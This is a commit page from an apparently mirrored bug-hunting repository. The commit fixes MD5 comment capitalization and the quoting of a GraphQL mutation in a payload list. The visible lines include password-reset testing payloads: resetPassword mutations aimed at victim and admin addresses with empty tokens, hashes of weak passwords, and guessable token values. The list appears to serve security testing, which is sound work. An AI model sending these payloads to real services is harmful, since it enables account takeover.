mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
Fix GraphQL mutation syntax and MD5 capitalization in payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -204,8 +204,8 @@ token_3
|
|||||||
1609459202
|
1609459202
|
||||||
|
|
||||||
# MD5 of simple inputs
|
# MD5 of simple inputs
|
||||||
5f4dcc3b5aa765d61d8327deb882cf99 (md5 of "password")
|
5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
|
||||||
e10adc3949ba59abbe56e057f20f883e (md5 of "123456")
|
e10adc3949ba59abbe56e057f20f883e (MD5 of "123456")
|
||||||
|
|
||||||
# Short alphanumeric (low entropy)
|
# Short alphanumeric (low entropy)
|
||||||
aaa
|
aaa
|
||||||
@@ -331,7 +331,7 @@ current_step=final
|
|||||||
|
|
||||||
# GraphQL mutations
|
# GraphQL mutations
|
||||||
{"query":"mutation{resetPassword(email:\"victim@example.com\"){success}}"}
|
{"query":"mutation{resetPassword(email:\"victim@example.com\"){success}}"}
|
||||||
{"query":"mutation{resetPassword(email:\"admin@example.com\",token:\""){success}}"}
|
{"query":"mutation{resetPassword(email:\"admin@example.com\",token:\"\"){success}}"}
|
||||||
|
|
||||||
# REST API variations
|
# REST API variations
|
||||||
PUT /api/v1/users/1/password
|
PUT /api/v1/users/1/password
|
||||||
|
|||||||
Reference in New Issue
Block a user